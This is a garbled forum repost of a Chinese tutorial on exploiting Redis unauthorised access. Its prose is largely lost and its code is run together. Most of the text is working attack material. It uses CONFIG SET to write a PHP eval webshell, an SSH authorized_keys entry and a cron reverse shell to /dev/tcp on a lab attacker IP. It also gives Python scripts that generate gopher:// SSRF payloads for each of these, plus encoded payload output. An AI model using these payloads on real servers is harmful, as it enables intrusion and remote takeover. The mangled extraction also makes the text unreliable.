[22190] 2021-07-27_Redis常见漏洞利用方法总结

文档创建者:s7ckTeam
浏览次数:5
最后更新:2025-01-18
2021-07-27_Redis常见漏洞利用方法总结 R e d i s   f r e e b u f   L e m o n S e c   2 0 2 1 - 0 7 - 2 7 R e d i s R e d i s R e d i s R e m o t e   D i c t i o n a r y   S e r v e r   ) 使 A N S I   C K e y - V a l u e A P I R e d i s k e y - v a l u e M e m c a c h e d v a l u e s t r i n g ( ) l i s t ( ) s e t ( ) z s e t ( s o r t e d   s e t   ) h a s h p u s h / p o p a d d / r e m o v e r e d i s m e m c a c h e d r e d i s m a s t e r - s l a v e ( ) R e d i s R e d i s 访 R e d i s m e m c a c h e d k e y / v a l u e R e d i s   R e d i s   R e d i s     R e d i s     r e d i s . c o n f ( W i n d o w s   r e d i s . w i n d o w s . c o n f )   C O N F I G R e d i s   C O N F I G   使   *   r e d i s . c o n f   使   C O N F I G   s e t C O N F I G   S E T r e d i s . c o n f     R e d i s     6 3 7 9 r e d i s   1 2 7 . 0 . 0 . 1 : 6 3 7 9 >   C O N F I G   G E T   C O N F I G _ S E T T I N G _ N A M E r e d i s   1 2 7 . 0 . 0 . 1 : 6 3 7 9 >   C O N F I G   G E T   *     1 )   " d b f i l e n a m e "     2 )   " d u m p . r d b "     3 )   " r e q u i r e p a s s "     4 )   " "     5 )   " m a s t e r a u t h "     6 )   " "     7 )   " u n i x s o c k e t "     8 )   " "     9 )   " l o g f i l e "     . . . . . . r e d i s   1 2 7 . 0 . 0 . 1 : 6 3 7 9 >   C O N F I G   S E T   C O N F I G _ S E T T I N G _ N A M E   N E W _ C O N F I G _ V A L U E r e d i s   1 2 7 . 0 . 0 . 1 : 6 3 7 9 >   C O N F I G   S E T   l o g l e v e l   " n o t i c e " O K r e d i s   1 2 7 . 0 . 0 . 1 : 6 3 7 9 >   C O N F I G   G E T   l o g l e v e l 1 )   " l o g l e v e l " 2 )   " n o t i c e " p o r t   6 3 7 9
  0   0 使   S E L E C T   i d   d u m p . r d b h t t p s : / / w w w . 6 5 7 2 6 0 . c o m / r e d i s / r e d i s - c o n f . h t m l R e d i s   R e d i s     r e d i s     r e d i s     r e d i s   R e d i s     r e d i s   R e d i s     r e d i s     r e d i s     r e d i s - c l i   r e d i s     r e d i s     P I N G   r e d i s     P O N G     r e d i s   使   r e d i s - c l i   1 2 7 . 0 . 0 . 1   6 3 7 9     m y p a s s     r e d i s   S E T   R e d i s   S E T     k e y     k e y     S E T   r e d i s   S E T   G e t   R e d i s   G e t     k e y     k e y     n i l   r e d i s   G e t   F l u s h a l l   R e d i s   F l u s h a l l     R e d i s   (   k e y   ) r e d i s   F l u s h a l l   R e d i s   R e d i s   S A V E S a v e     R e d i s   ( s n a p s h o t )   R D B   r e d i s   S a v e     r e d i s   d u m p . r d b   ( d u m p . r d b )     r e d i s     r e d i s   使   C O N F I G   C O N F I G   G E T   d i r   r e d i s     / u s r / l o c a l / r e d i s / b i n b i n d   1 2 7 . 0 . 0 . 1 t i m e o u t   3 0 0 d a t a b a s e s   1 6 s a v e   < s e c o n d s >   < c h a n g e s > d b f i l e n a m e   d u m p . r d b d i r   . / $   r e d i s - c l i $   r e d i s - c l i r e d i s   1 2 7 . 0 . 0 . 1 : 6 3 7 9 > r e d i s   1 2 7 . 0 . 0 . 1 : 6 3 7 9 >   P I N G P O N G $   r e d i s - c l i   - h   h o s t   - p   p o r t   - a   p a s s w o r d $ r e d i s - c l i   - h   1 2 7 . 0 . 0 . 1   - p   6 3 7 9   - a   " m y p a s s " r e d i s   1 2 7 . 0 . 0 . 1 : 6 3 7 9 > r e d i s   1 2 7 . 0 . 0 . 1 : 6 3 7 9 >   P I N G P O N G r e d i s   1 2 7 . 0 . 0 . 1 : 6 3 7 9 >   S E T   K E Y _ N A M E   V A L U E r e d i s   1 2 7 . 0 . 0 . 1 : 6 3 7 9 >   G E T   K E Y _ N A M E r e d i s   1 2 7 . 0 . 0 . 1 : 6 3 7 9 >   F L U S H A L L r e d i s   1 2 7 . 0 . 0 . 1 : 6 3 7 9 >   S A V E   O K r e d i s   1 2 7 . 0 . 0 . 1 : 6 3 7 9 >   C O N F I G   G E T   d i r 1 )   " d i r " 2 )   " / u s r / l o c a l / r e d i s / b i n "
R e d i s     r e d i s     r e d i s     r e d i s     r e q u i r e p a s s     r e d i s     r e d i s   A U T H r e d i s   A u t h     O K   R e d i s   u b u n t u R e d i s R e d i s m a k e 1 2 7 . 0 . 0 . 1 : 6 3 7 9 >   C O N F I G   g e t   r e q u i r e p a s s 1 )   " r e q u i r e p a s s " 2 )   " " 1 2 7 . 0 . 0 . 1 : 6 3 7 9 >   C O N F I G   s e t   r e q u i r e p a s s   " 6 5 7 2 6 0 " O K 1 2 7 . 0 . 0 . 1 : 6 3 7 9 >   C O N F I G   g e t   r e q u i r e p a s s 1 )   " r e q u i r e p a s s " 2 )   " 6 5 7 2 6 0 " 1 2 7 . 0 . 0 . 1 : 6 3 7 9 >   A U T H   p a s s w o r d r e d i s   1 2 7 . 0 . 0 . 1 : 6 3 7 9 >   A U T H   P A S S W O R D 1 2 7 . 0 . 0 . 1 : 6 3 7 9 >   A U T H   " 6 5 7 2 6 0 " O K 1 2 7 . 0 . 0 . 1 : 6 3 7 9 >   S E T   m y k e y   " T e s t   v a l u e " O K 1 2 7 . 0 . 0 . 1 : 6 3 7 9 >   G E T   m y k e y " T e s t   v a l u e " w g e t   h t t p : / / d o w n l o a d . r e d i s . i o / r e l e a s e s / r e d i s - 5 . 0 . 1 2 . t a r . g z t a r   - z x v f   r e d i s - 5 . 0 . 1 2 . t a r . g z m a k e m a k e
  I t s   a   g o o d   i d e a   t o   r u n   m a k e   t e s t     m a k e s r c r e d i s - s e r v e r r e d i s - c l i / u s r / b i n r e d i s - s e r v e r r e d i s - c l i r e d i s - 2 . 8 . 1 7 r e d i s . c o n f / e t c 使 / e t c r e i d s . c o n f r e d i s R e d i s   访 访 c d   s r c c p   r e d i s - c l i   / u s r / b i n c p   r e d i s - s e r v e r   / u s r / b i n c d   . . / c p   r e d i s . c o n f   / e t c r e d i s - s e r v e r   / e t c / r e d i s . c o n f
R e d i s     0 . 0 . 0 . 0 : 6 3 7 9   i p   访   R e d i s   访 访   R e d i s     R e d i s   访   R e d i s     R e d i s     c o n f i g   W e b S h e l l S S H S h e l l R e d i s w e b ~ / . s s h / v a r / s p o o l / c r o n d b f i l e n a m e s a v e b g s a v e r e d i s     0 . 0 . 0 . 0 : 6 3 7 9 i p 访 r e d i s 访 f l u s h a l l E V A L l u a R e d i s r o o t r o o t S S H S S H   R e d i s   访 K a l i 1 9 2 . 1 6 8 . 4 3 . 2 4 7 U b u n t u 1 9 2 . 1 6 8 . 4 3 . 8 2 U b u n t u R e d i s k a l i R e d i s 使 r e d i s U b u n t u R e d i s R e d i s   R e d i s     W e b s h e l l R e d i s r e d i s - c l i W e b W e b p h p i n f o d i r / v a r / w w w / h t m l / v a r / w w w / h t m l d b f i l e n a m e s h e l l . p h p s h e l l . p h p s a v e b g s a v e / v a r / w w w / h t m l / s h e l l . p h p W e b s h e l l W e b s h e l l W e b s h e l l v a l u e k e y x / v a r / w w w / h t m l s h e l l . p h p / v a r / w w w / h t m l W e b s h e l l r e d i s - c l i   - h   1 9 2 . 1 6 8 . 4 3 . 8 2 c o n f i g   s e t   d i r   / v a r / w w w / h t m l /   c o n f i g   s e t   d b f i l e n a m e   s h e l l . p h p s e t   x x x   " < ? p h p   e v a l ( $ _ P O S T [ w h o a m i ] ) ; ? > "   s a v e
w e b s h e l l 使 r e d i s / v a r / w w w / h t m l / s h e l l . p h p   R e d i s     S S H   R e d i s r e d i s - c l i . s s h v a l u e k e y / r o o t / . s s h a u t h o r i z e d . k e y s / r o o t / . s s h k e y / r o o t / . s s h s s h k e y k e y . t x t n R e d i s k e y . t x t R e d i s s e t   x x x   " r n r n < ? p h p   e v a l ( $ _ P O S T [ w h o a m i ] ) ; ? > r n r n " r n r n s s h - k e y g e n   - t   r s a ( e c h o   - e   " n n " ;   c a t   / r o o t / . s s h / i d _ r s a . p u b ;   e c h o   - e   " n n " )   >   / r o o t / . s s h / k e y . t x t c a t   / r o o t / . s s h / k e y . t x t   |   r e d i s - c l i   - h   1 9 2 . 1 6 8 . 4 3 . 8 2   - x   s e t   x x x / /   - x  
使 R e d i s R e d i s / r o o t / . s s h / a u t h o r i z e d _ k e y s 使 s s h   R e d i s   v a l u e k e y s h e l l k a l i R e d i s s h e l l n c s h e l l r e d i s - c l i   - h   1 9 2 . 1 6 8 . 4 3 . 8 2 c o n f i g   s e t   d i r   / r o o t / . s s h c o n f i g   s e t   d b f i l e n a m e   a u t h o r i z e d _ k e y s s a v e s s h   1 9 2 . 1 6 8 . 4 3 . 8 2 n c   - l v p   2 3 3 3 r e d i s - c l i   - h   1 9 2 . 1 6 8 . 1 4 2 . 1 5 3 s e t   x x x   " n n * / 1   *   *   *   *   / b i n / b a s h   - i > & / d e v / t c p / 1 9 2 . 1 6 8 . 4 3 . 2 4 7 / 2 3 3 3   0 > & 1 n n " c o n f i g   s e t   d i r   / v a r / s p o o l / c r o n / c r o n t a b s / c o n f i g   s e t   d b f i l e n a m e   r o o t s a v e
C e n t o s 使 使 U b u n t u r e d i s 6 4 4 u b u n t u 6 0 0 - r w - ( r o o t ) I N S E C U R E   M O D E   ( m o d e   0 6 0 0   e x p e c t e d ) C e n t o s 6 4 4 r e d i s R D B U b u n t u C e n t o s c r o n t r a b C e n t o s U b u n t u R e d i s   访 访   S S R F   S S R F 6 3 7 9 R e d i s R e d i s 访 G o p h e r R e d i s   R e d i s     c o n f i g   W e b S h e l l S S H S h e l l R e d i s w e b ~ / . s s h / v a r / s p o o l / c r o n d b f i l e n a m e s a v e b g s a v e K a l i 1 9 2 . 1 6 8 . 4 3 . 2 4 7 U b u n t u 1 9 2 . 1 6 8 . 4 3 . 8 2 W e b S S R F S S R F 6 3 7 9 R e d i s S S R F R e d i s W e b S h e l l r e d i s G o p h e r ~ ~ ~ p a y l o a d p a y l o a d u r l p a y l o a d G E T U b u n t u S S R F p a y l o a d / v a r / s p o o l / c r o n / c r o n t a b s / < u s e r n a m e > / v a r / s p o o l / c r o n / < u s e r n a m e > / v a r / s p o o l / c r o n / < u s e r n a m e > / v a r / s p o o l / c r o n / c r o n t a b s / < u s e r n a m e > f l u s h a l l s e t   1   ' < ? p h p   e v a l ( $ _ P O S T [ " w h o a m i " ] ) ; ? > ' c o n f i g   s e t   d i r   / v a r / w w w / h t m l c o n f i g   s e t   d b f i l e n a m e   s h e l l . p h p s a v e i m p o r t   u r l l i b p r o t o c o l = " g o p h e r : / / " i p = " 1 9 2 . 1 6 8 . 4 3 . 8 2 " p o r t = " 6 3 7 9 " s h e l l = " n n < ? p h p   e v a l ( $ _ P O S T [ " w h o a m i " ] ) ; ? > n n " f i l e n a m e = " s h e l l . p h p " p a t h = " / v a r / w w w / h t m l " p a s s w d = " "         #   R e d i s ,   R e d i s c m d = [ " f l u s h a l l " , " s e t   1   { } " . f o r m a t ( s h e l l . r e p l a c e ( "   " , " $ { I F S } " ) ) , " c o n f i g   s e t   d i r   { } " . f o r m a t ( p a t h ) , " c o n f i g   s e t   d b f i l e n a m e   { } " . f o r m a t ( f i l e n a m e ) , " s a v e " ] i f   p a s s w d : c m d . i n s e r t ( 0 , " A U T H   { } " . f o r m a t ( p a s s w d ) ) p a y l o a d = p r o t o c o l + i p + " : " + p o r t + " / _ " d e f   r e d i s _ f o r m a t ( a r r ) : C R L F = " r n " r e d i s _ a r r   =   a r r . s p l i t ( "   " ) c m d = " " c m d + = " * " + s t r ( l e n ( r e d i s _ a r r ) ) f o r   x   i n   r e d i s _ a r r : c m d + = C R L F + " $ " + s t r ( l e n ( ( x . r e p l a c e ( " $ { I F S } " , "   " ) ) ) ) + C R L F + x . r e p l a c e ( " $ { I F S } " , "   " ) c m d + = C R L F r e t u r n   c m d i f   _ _ n a m e _ _ = = " _ _ m a i n _ _ " : f o r   x   i n   c m d : p a y l o a d   + =   u r l l i b . q u o t e ( r e d i s _ f o r m a t ( x ) ) p r i n t   p a y l o a d s s r f . p h p ? u r l = g o p h e r % 3 A % 2 F % 2 F 1 9 2 . 1 6 8 . 4 3 . 8 2 % 3 A 6 3 7 9 % 2 F _ % 2 5 2 A 1 % 2 5 0 D % 2 5 0 A % 2 5 2 4 8 % 2 5 0 D % 2 5 0 A f l u s h a l l % 2 5 0 D % 2 5 0 A % 2 5 2 A 3 % 2 5 0 D % 2 5 0 A % 2 5 2 4 3 % 2 5 0 D % 2 5 0 A s e t % 2 5 0 D % 2 5 0 A % 2 5 2 4 1 % 2 5 0 D % 2 5 0 A 1 % 2 5 0 D % 2 5 0 A % 2 5 2 4 3 5 % 2 5 0
W e b S h e l l S S H R e d i s ~ / . s s h S S H ~ / . s s h / r o o t / . s s h s s h k e y i d _ r s a . p u b r e d i s G o p h e r s s h - k e y g e n   - t   r s a f l u s h a l l s e t   1   ' s s h - r s a   A A A A B 3 N z a C 1 y c 2 E A A A A D A Q A B A A A B g Q C 9 6 S 6 9 J N d I O U W o H Y O v x p n Q x H A V Z H l 2 5 I k D F B z T b D I b J B B A B u 8 v q Z g 2 G F a W h T a 2 j S W q M Z i Y w y P i m r X s + X U 1 k b P 4 P 2 8 y F v o f u W R 6 f Y z g r y b e O 0 K X 7 Y m Z 4 x N 4 L W a Z Y E e C x z J r V 7 B U 9 w W Z I G Z i X 7 Y t 5 T 5 M 3 b O K o f x T q q M J a R P 7 J 1 F n 9 f R q 3 e P z 1 7 B U J N t m R x 5 4 I 3 C p U y i g c M S T v Q O a w w T t X a 1 Z c S 0 5 6 m j P r K H H B N B 2 / h K I N t J j 1 J X 8 R 5 U z + 3 s i x + M V s x A N T + x O M d j C q + + 1 s k S n P c z Q z 2 G m l v f A O b n g Q K 2 E q i m + 6 x e w O L + Z d 2 b T s W i L z L F p c F W J e o B 3 z 2 0 9 s o l G O S k F 8 n S Z K 1 r D J 4 F m Z A U v l 1 R L 5 B S e / L j J O 6 + 5 9 i h S R F W u 9 9 N 3 C J c R g X L m c 4 M A z O 4 L F F 3 n h t q 0 Y r I U i o 0 q K s O m t 1 3 L 0 Y g S H w 2 K z C N w 4 d 9 H l 3 w i I N 5 e j q E z t R i 9 7 x 8 n z A M 7 W v F q 7 1 f B d y b z p 8 e L j i R 8 o q 6 r o 2 2 8 B d s A J Y e v X Z P e V x j g a 4 P D t P k = r o o t @ k a l i ' c o n f i g   s e t   d i r   / r o o t / . s s h / c o n f i g   s e t   d b f i l e n a m e   a u t h o r i z e d _ k e y s s a v e i m p o r t   u r l l i b p r o t o c o l = " g o p h e r : / / " i p = " 1 9 2 . 1 6 8 . 4 3 . 8 2 " p o r t = " 6 3 7 9 " s s h _ p u b = " n n s s h - r s a   A A A A B 3 N z a C 1 y c 2 E A A A A D A Q A B A A A B g Q C 9 6 S 6 9 J N d I O U W o H Y O v x p n Q x H A V Z H l 2 5 I k D F B z T b D I b J B B A B u 8 v q Z g 2 G F a W h T a 2 j S W q M Z i Y w y P i m r X s + X U 1 k b P 4 P 2 8 y F v o f u W R 6 f Y z g r y b e O 0 K X 7 Y m Z 4 x N 4 L W a Z Y E e C x z J r V 7 B U 9 w W Z I G Z i X 7 Y t 5 T 5 M 3 b O K o f x T q q M J a R P 7 J 1 F n 9 f R q 3 e P z 1 7 B U J N t m R x 5 4 I 3 C p U y i g c M S T v Q O a w w T t X a 1 Z c S 0 5 6 m j P r K H H B N B 2 / h K I N t J j 1 J X 8 R 5 U z + 3 s i x + M V s x A N T + x O M d j C q + + 1 s k S n P c z Q z 2 G m l v f A O b n g Q K 2 E q i m + 6 x e w O L + Z d 2 b T s W i L z L F p c F W J e o B 3 z 2 0 9 s o l G O S k F 8 n S Z K 1 r D J 4 F m Z A U v l 1 R L 5 B S e / L j J O 6 + 5 9 i h S R F W u 9 9 N 3 C J c R g X L m c 4 M A z O 4 L F F 3 n h t q 0 Y r I U i o 0 q K s O m t 1 3 L 0 Y g S H w 2 K z C N w 4 d 9 H l 3 w i I N 5 e j q E z t R i 9 7 x 8 n z A M 7 W v F q 7 1 f B d y b z p 8 e L j i R 8 o q 6 r o 2 2 8 B d s A J Y e v X Z P e V x j g a 4 P D t P k = r o o t @ k a l i n n " f i l e n a m e = " a u t h o r i z e d _ k e y s " p a t h = " / r o o t / . s s h / " p a s s w d = " "         #   R e d i s ,   R e d i s c m d = [ " f l u s h a l l " , " s e t   1   { } " . f o r m a t ( s s h _ p u b . r e p l a c e ( "   " , " $ { I F S } " ) ) , " c o n f i g   s e t   d i r   { } " . f o r m a t ( p a t h ) , " c o n f i g   s e t   d b f i l e n a m e   { } " . f o r m a t ( f i l e n a m e ) , " s a v e " ] i f   p a s s w d : c m d . i n s e r t ( 0 , " A U T H   { } " . f o r m a t ( p a s s w d ) ) p a y l o a d = p r o t o c o l + i p + " : " + p o r t + " / _ " d e f   r e d i s _ f o r m a t ( a r r ) : C R L F = " r n " r e d i s _ a r r   =   a r r . s p l i t ( "   " ) c m d = " " c m d + = " * " + s t r ( l e n ( r e d i s _ a r r ) ) f o r   x   i n   r e d i s _ a r r : c m d + = C R L F + " $ " + s t r ( l e n ( ( x . r e p l a c e ( " $ { I F S } " , "   " ) ) ) ) + C R L F + x . r e p l a c e ( " $ { I F S } " , "   " ) c m d + = C R L F r e t u r n   c m d i f   _ _ n a m e _ _ = = " _ _ m a i n _ _ " : f o r   x   i n   c m d : p a y l o a d   + =   u r l l i b . q u o t e ( r e d i s _ f o r m a t ( x ) ) p r i n t   p a y l o a d
p a y l o a d p a y l o a d u r l S S R F S S H s s h S h e l l C e n t o s 使 r e d i s G o p h e r p r i n t   p a y l o a d s s r f . p h p ? u r l = g o p h e r % 3 A % 2 F % 2 F 1 9 2 . 1 6 8 . 4 3 . 8 2 % 3 A 6 3 7 9 % 2 F _ % 2 5 2 A 1 % 2 5 0 D % 2 5 0 A % 2 5 2 4 8 % 2 5 0 D % 2 5 0 A f l u s h a l l % 2 5 0 D % 2 5 0 A % 2 5 2 A 3 % 2 5 0 D % 2 5 0 A % 2 5 2 4 3 % 2 5 0 D % 2 5 0 A s e t % 2 5 0 D % 2 5 0 A % 2 5 2 4 1 % 2 5 0 D % 2 5 0 A 1 % 2 5 0 D % 2 5 0 A r s a % 2 5 2 0 A A A A B 3 N z a C 1 y c 2 E A A A A D A Q A B A A A B g Q C 9 6 S 6 9 J N d I O U W o H Y O v x p n Q x H A V Z H l 2 5 I k D F B z T b D I b J B B A B u 8 v q Z g 2 G F a W h T a 2 j S W q M Z i Y w y P i m r X s % 2 5 2 B X U 1 k b P 4 P 2 8 y F v o f u W R 6 f Y z g r y b e O 0 K X 7 Y m Z 4 x N 4 L W a Z Y E e C x z J r V 7 B U 9 w W Z I G Z i X 7 Y t 5 T 5 M 3 b O K o f x T q q M J a R P 7 J 1 F n 9 f R q 3 e P z 1 7 B U J N t m R x 5 4 I 3 C p U y i g c M S T v Q O a w w T t X a 1 Z c S 0 5 6 m j P r K H H B N B 2 f l u s h a l l s e t   1   ' n n * / 1   *   *   *   *   b a s h   - i   > &   / d e v / t c p / 1 9 2 . 1 6 8 . 4 3 . 2 4 7 / 2 3 3 3   0 > & 1 n n ' c o n f i g   s e t   d i r   / v a r / s p o o l / c r o n / c o n f i g   s e t   d b f i l e n a m e   r o o t s a v e i m p o r t   u r l l i b p r o t o c o l = " g o p h e r : / / " i p = " 1 9 2 . 1 6 8 . 4 3 . 8 2 " p o r t = " 6 3 7 9 " r e v e r s e _ i p = " 1 9 2 . 1 6 8 . 4 3 . 2 4 7 " r e v e r s e _ p o r t = " 2 3 3 3 " c r o n = " n n n n * / 1   *   *   *   *   b a s h   - i   > &   / d e v / t c p / % s / % s   0 > & 1 n n n n " % ( r e v e r s e _ i p , r e v e r s e _ p o r t ) f i l e n a m e = " r o o t " p a t h = " / v a r / s p o o l / c r o n " p a s s w d = " "         #   R e d i s ,   R e d i s c m d = [ " f l u s h a l l " , " s e t   1   { } " . f o r m a t ( c r o n . r e p l a c e ( "   " , " $ { I F S } " ) ) , " c o n f i g   s e t   d i r   { } " . f o r m a t ( p a t h ) , " c o n f i g   s e t   d b f i l e n a m e   { } " . f o r m a t ( f i l e n a m e ) , " s a v e " ] i f   p a s s w d : c m d . i n s e r t ( 0 , " A U T H   { } " . f o r m a t ( p a s s w d ) ) p a y l o a d = p r o t o c o l + i p + " : " + p o r t + " / _ " d e f   r e d i s _ f o r m a t ( a r r ) : C R L F = " r n " r e d i s _ a r r   =   a r r . s p l i t ( "   " ) c m d = " " c m d + = " * " + s t r ( l e n ( r e d i s _ a r r ) ) f o r   x   i n   r e d i s _ a r r : c m d + = C R L F + " $ " + s t r ( l e n ( ( x . r e p l a c e ( " $ { I F S } " , "   " ) ) ) ) + C R L F + x . r e p l a c e ( " $ { I F S } " , "   " ) c m d + = C R L F r e t u r n   c m d i f   _ _ n a m e _ _ = = " _ _ m a i n _ _ " : f o r   x   i n   c m d :
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则